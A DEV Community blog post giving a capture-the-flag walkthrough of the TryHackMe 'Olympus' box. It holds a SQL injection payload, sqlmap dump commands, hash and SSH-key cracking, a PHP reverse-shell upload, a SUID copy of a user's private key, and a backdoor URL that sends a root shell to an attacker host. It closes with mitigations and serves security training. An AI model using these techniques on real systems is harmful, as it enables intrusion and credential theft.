DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe - Olympus Writeup

Summary

Olympus is a Linux box built around an old Victor CMS 1.0 install hidden
under /~webmaster/. An unauthenticated SQL injection in the CMS search
feature was the root of the entire chain: it dumped an initial flag, user
password hashes, and a full chat log. One cracked password unlocked both
the CMS admin panel and a second vhost, chat.olympus.thm, running a
custom chat app with file upload. A PHP reverse shell was uploaded there,
and its randomized server-side filename - meant to stop direct access -
was recovered from the database through the same SQL injection, giving a
www-data shell. From there, a SUID file-copy utility owned by user
zeus was abused to exfiltrate zeus's SSH private key despite the
.ssh directory being otherwise inaccessible; cracking its passphrase
gave an SSH shell as zeus and the user flag. zeus's group membership
on a hidden web directory exposed a password-protected PHP "root shell
backdoor" script left behind by a previous attacker (prometheus);
reading its source revealed the hardcoded password, and calling it
returned a reverse shell running as root, yielding the root flag and a
bonus flag hidden elsewhere on disk.

1. Recon

nmap -A -Pn <MACHINE_IP>

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://olympus.thm
Enter fullscreen mode Exit fullscreen mode
echo '<MACHINE_IP> olympus.thm' >> /etc/hosts
Enter fullscreen mode Exit fullscreen mode

The root page is a static "under development" placeholder (Aperi'Solve /
particles.js branding), nothing actionable directly.

2. Web Enumeration

dirsearch and ffuf against olympus.thm found a hidden user directory:

ffuf -u http://olympus.thm/FUZZ -w /usr/share/wordlists/dirb/common.txt -ac

~webmaster              [Status: 301, Size: 315, ...]
Enter fullscreen mode Exit fullscreen mode

http://olympus.thm/~webmaster/ serves a Victor CMS 1.0 site (confirmed
by HTML comments: @project 'Simple Content Management System',
@author 'Victor Alagwu'). A "Credentials" blog post on the site hints
that some users reuse weak/common passwords.

whatweb http://olympus.thm/~webmaster/

Apache[2.4.41], Bootstrap[3.3.7], Cookies[PHPSESSID], PHP, JQuery, Title[Victor CMS]
Enter fullscreen mode Exit fullscreen mode

3. Identifying the Vulnerable CMS

searchsploit victor cms

Victor CMS 1.0 - 'Search' SQL Injection              | php/webapps/48734.txt
Victor CMS 1.0 - Authenticated Arbitrary File Upload  | php/webapps/48490.txt
Victor CMS 1.0 - File Upload To RCE                   | php/webapps/49310.txt
Victor CMS 1.0 - Multiple SQL Injection (Authenticated)| php/webapps/49282.txt
Enter fullscreen mode Exit fullscreen mode

The unauthenticated search parameter on search.php is directly
injectable per the advisory:

POST /CMSsite/search.php
search=1337'union+select+1,2,version(),database(),5,6,7,8,9,10 -- -
Enter fullscreen mode Exit fullscreen mode

4. SQL Injection - search.php

Automated with sqlmap:

sqlmap -u "http://olympus.thm/~webmaster/search.php" \
  --data="search=1337*&submit=" --dbs --random-agent -v 3
Enter fullscreen mode Exit fullscreen mode

sqlmap confirmed boolean-based, error-based, time-based, and UNION-based
injection on the custom search POST parameter, and enumerated the
databases:

available databases [6]:
[*] information_schema
[*] mysql
[*] olympus
[*] performance_schema
[*] phpmyadmin
[*] sys
Enter fullscreen mode Exit fullscreen mode

4.1 Tables

sqlmap ... -D olympus --tables

[6 tables]
categories, chats, comments, flag, posts, users
Enter fullscreen mode Exit fullscreen mode

4.2 Flag table

sqlmap ... -D olympus -T flag --dump

+---------------------------+
| flag                      |
+---------------------------+
| flag{REDACTED}            |
+---------------------------+
Enter fullscreen mode Exit fullscreen mode

4.3 Users table

sqlmap ... -D olympus -T users --dump

| user_id | user_name  | user_role | user_email             | user_password (bcrypt)                                      |
|   3     | prometheus | User      | prometheus@olympus.thm | $2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C |
|   6     | root       | Admin     | root@chat.olympus.thm  | $2y$10$lcs4XWc5yjVNsMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mK |
|   7     | zeus       | User      | zeus@chat.olympus.thm  | $2y$10$cpJKDXh2wlAI5KlCsUaLCOnf0g5fiG0QSUS53zp/r0HMtaj6rT4lC |
Enter fullscreen mode Exit fullscreen mode

The root/zeus emails leak a second vhost: chat.olympus.thm.

5. Cracking the Hash

john --wordlist=/usr/share/wordlists/rockyou.txt user-hash.txt

summertime       (prometheus)
Enter fullscreen mode Exit fullscreen mode

prometheus : summertime cracked against the bcrypt hash; root and
zeus were not cracked with rockyou.

6. CMS Admin Access

Logged into http://olympus.thm/~webmaster/admin/ as prometheus. The
Users page confirms the same three accounts and the chat.olympus.thm
addresses seen in the SQLi dump.

7. Second Vhost - chat.olympus.thm

echo '<MACHINE_IP> chat.olympus.thm' >> /etc/hosts
Enter fullscreen mode Exit fullscreen mode

The same prometheus:summertime credentials work at
http://chat.olympus.thm/login.php, landing on home.php: a custom chat
app with a message box and file upload.

7.1 Chat history via SQLi

The chats table was pulled directly through the same search.php
injection:

sqlmap ... -D olympus -T chats --dump

| dt         | msg                                | uname      | file                                  |
| 2022-04-05 | Attached : prometheus_password.txt | prometheus | 47c3210d51761686f3af40a875eeaaea.txt  |
| 2022-04-06 | random file name function...       | zeus       | <blank>                               |
| 2026-09-10 | Attached : rev.php                 | prometheus | ff1957eacecdeafa2f3b285a01f40920.php  |
Enter fullscreen mode Exit fullscreen mode

Uploaded files are renamed server-side to a random 32-character hex
string as an access control - an old chat message from zeus confirms
this was intentional ("The IT guy used a random file name function to
make it harder for attackers to access the uploaded files"). It fails
because the real generated filename is stored in chats.file and is
readable through the same SQL injection, defeating the protection
entirely.

A {{7*7}} message was also sent to probe for server-side template
injection; it was not confirmed to render before moving on.

7.2 Reverse shell upload

A PHP reverse shell (rev.php) was uploaded via the chat file input. Per
the chats dump, it was stored as:

ff1957eacecdeafa2f3b285a01f40920.php
Enter fullscreen mode Exit fullscreen mode
penelope listen -p 4444
Enter fullscreen mode Exit fullscreen mode

Requesting that filename returned a shell:

[+] [New Reverse Shell] => www-data(33)
www-data@<MACHINE_IP>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),7777(web)
Enter fullscreen mode Exit fullscreen mode

8. www-data Enumeration

cat /home/zeus/zeus.txt

Hey zeus !
I managed to hack my way back into the olympus eventually.
Looks like the IT kid messed up again !
I've now got a permanent access as a super user to the olympus.
                                                - Prometheus.

cat /home/zeus/user.flag
flag{REDACTED}
Enter fullscreen mode Exit fullscreen mode

/home/zeus/.ssh denies access directly, but a SUID binary owned by
zeus was found:

find / -perm -4000 2>/dev/null | grep cputils
-rwsr-xr-x 1 zeus zeus 17728 Apr 18  2022 /usr/bin/cputils
Enter fullscreen mode Exit fullscreen mode

cputils is a simple file-copy utility that runs with zeus's effective
UID, so it can read files www-data otherwise cannot:

/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/authorized_keys
Enter the Name of Target File: /tmp/auth_keys
File copied successfully.

/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/id_rsa
Enter the Name of Target File: /tmp/id_rsa
File copied successfully.
Enter fullscreen mode Exit fullscreen mode

Both files were copied out to /tmp, giving zeus's SSH keypair.

9. Cracking the SSH Key and Logging in as zeus

ssh2john zeus-key > zeus-hash
john --wordlist=/usr/share/wordlists/rockyou.txt zeus-hash

snowflake        (zeus-key)
Enter fullscreen mode Exit fullscreen mode
ssh -i zeus-key zeus@olympus.thm

zeus@<MACHINE_IP>:~$ cat user.flag
flag{REDACTED}
Enter fullscreen mode Exit fullscreen mode

sudo -l failed (no known password), and standard privesc checks
(SUID binaries, find -group adm, listening ports, ps aux) did not
turn up anything further directly - the actual path forward was a file
zeus had incidental access to.

10. Root via a Leftover Backdoor Webshell

find / -user zeus 2>/dev/null | grep -v '^/proc\|^/sys\|^/run'
...
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/index.html
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
Enter fullscreen mode Exit fullscreen mode
ls -la /var/www/html/
drwxrwx--x 2 root zeus 4096 Jul 15  2022 0aB44fdS3eDnLkpsz3deGv8TttR4sc
Enter fullscreen mode Exit fullscreen mode

The directory is root:zeus with group execute/read, so zeus can enter
it and read its contents (but not list it via a plain top-level listing).
Inside is a password-gated PHP reverse-shell backdoor, apparently planted
by prometheus per the earlier note ("I've now got a permanent access as
a super user to the olympus"):

<?php
$pass = "a7c5ffcf139742f52a5267c4a0674129";
if(!isset($_POST["password"]) || $_POST["password"] != $pass) die('<form ...>Password: ...</form>');
...
$shell = "uname -a; w; $suid_bd";
...
Enter fullscreen mode Exit fullscreen mode

Because zeus can read the file directly, the hardcoded password is
visible in the source - no cracking needed. The script is a classic
fsockopen reverse shell gated by that password and driven by ?ip= and
?port= GET parameters.

Browsing to it and POSTing the password confirms the usage banner:

GET /0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
POST password=a7c5ffcf139742f52a5267c4a0674129

snodew reverse root shell backdoor
Usage:
Locally: nc -vlp [port]
Remote: <MACHINE_IP>/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip=[destination of listener]&port=[listening port]
Enter fullscreen mode Exit fullscreen mode

Triggering it against a listener:

penelope listen -p 4444
Enter fullscreen mode Exit fullscreen mode
http://<MACHINE_IP>/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip=<ATTACKER_IP>&port=4444
Enter fullscreen mode Exit fullscreen mode

(POST the password first via the form, then load the ?ip=&port= URL.)

[+] [New Reverse Shell] => root(0)
root@<MACHINE_IP>:/# whoami
root
root@<MACHINE_IP>:/# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),7777(web)
Enter fullscreen mode Exit fullscreen mode

11. Root and Bonus Flags

cat /root/root.flag

                You did it, you defeated the gods.
                        Hope you had fun !

                   flag{REDACTED}

PS : Prometheus left a hidden flag, try and find it !
     I recommend logging as root over ssh to look for it ;)
     (Hint : regex can be usefull)
Enter fullscreen mode Exit fullscreen mode

Following the hint:

grep -r "flag{" / --exclude-dir={proc,sys,dev,snap} 2>/dev/null

/root/root.flag:               flag{REDACTED}
/home/zeus/user.flag:          flag{REDACTED}
/etc/ssl/private/.b0nus.fl4g:  flag{REDACTED}
Binary file /var/lib/mysql/olympus/flag.ibd matches
Enter fullscreen mode Exit fullscreen mode

A fourth, hidden flag was sitting in /etc/ssl/private/.b0nus.fl4g, only
findable by grepping the filesystem as root as the note suggested.

Key Vulnerabilities

# Vulnerability Location Impact
1 Unauthenticated SQL injection ~webmaster/search.php (search) Full DB dump: flag, user hashes, chat log (root cause of the whole chain)
2 Weak / reused password prometheus account Cracked via rockyou (summertime); unlocked CMS admin and chat app
3 Randomized-filename upload protection defeated chat.olympus.thm upload + chats table Real stored filename recoverable via SQLi, enabling direct access to an uploaded PHP reverse shell
4 Unrestricted file upload chat.olympus.thm upload endpoint RCE as www-data via uploaded .php shell
5 SUID utility usable as arbitrary-file-read-as-owner /usr/bin/cputils (SUID zeus) www-data used it to copy zeus's SSH private key out of an otherwise inaccessible .ssh directory
6 Weak SSH key passphrase zeus's id_rsa Cracked via rockyou (snowflake); gave interactive SSH as zeus
7 Leftover password-protected backdoor webshell, password recoverable via file permissions /var/www/html/<random-dir>/VIGQFQFMYOST.php, root:zeus directory perms zeus group membership let it read the hardcoded backdoor password; running it gave a root shell

Attack Chain

olympus.thm (port 80)
  |
  |-- dirsearch/ffuf -> /~webmaster/ (Victor CMS 1.0)
        |
        |-- searchsploit -> known 'search' SQLi (EDB-48734)
              |
              |-- sqlmap -> dump DB
                    |-- flag table  -> flag 1
                    |-- users table -> bcrypt hashes
                          |
                          |-- john + rockyou -> prometheus:summertime
                                |
                                |-- CMS admin login -> confirms chat.olympus.thm
                                      |
                                      |-- chat.olympus.thm login (same creds)
                                            |
                                            |-- upload rev.php
                                            |-- chats table (via SQLi) -> real uploaded filename
                                            |-- request shell -> www-data
                                                  |
                                                  |-- SUID cputils (owned by zeus)
                                                  |     -> copy zeus's authorized_keys + id_rsa
                                                  |
                                                  |-- ssh2john + john + rockyou -> id_rsa passphrase: snowflake
                                                        |
                                                        |-- ssh as zeus -> flag 2 (user)
                                                              |
                                                              |-- find -user zeus -> root:zeus web directory
                                                              |-- read backdoor PHP source -> hardcoded password
                                                              |-- trigger backdoor (?ip=&port=) -> root
                                                                    |
                                                                    |-- flag 3 (root)
                                                                    |-- grep -r "flag{" / -> flag 4 (bonus, /etc/ssl/private/.b0nus.fl4g)
Enter fullscreen mode Exit fullscreen mode

Mitigations

  • Parameterize the search.php query (prepared statements) to close the SQL injection entry point the entire chain depends on.
  • Enforce a password policy / reject breached passwords so accounts like prometheus and SSH keys like zeus's aren't crackable from a common wordlist in minutes.
  • Do not rely on an unguessable filename as the only upload control - pair it with strict extension/MIME allow-listing, storage outside the webroot, and disabling script execution in the upload directory; and never let application data (the chats table) hold the mapping from a guessable identifier back to the real protected filename.
  • Remove SUID bits from utilities that don't need them, or have them validate that the invoking user actually owns/can already access the source path before copying it - cputils should not let www-data read zeus's private files just because the binary itself is owned by zeus.
  • Audit and remove leftover attacker tooling (backdoor webshells, planted scripts) instead of leaving it in place with only a hardcoded password for protection - and don't leave application/webroot directories group-readable to standard user accounts.
  • Rotate and re-secure the box entirely after any confirmed compromise; the prometheus.txt note makes clear a prior attacker had already established persistent root access before this engagement began.

Top comments (0)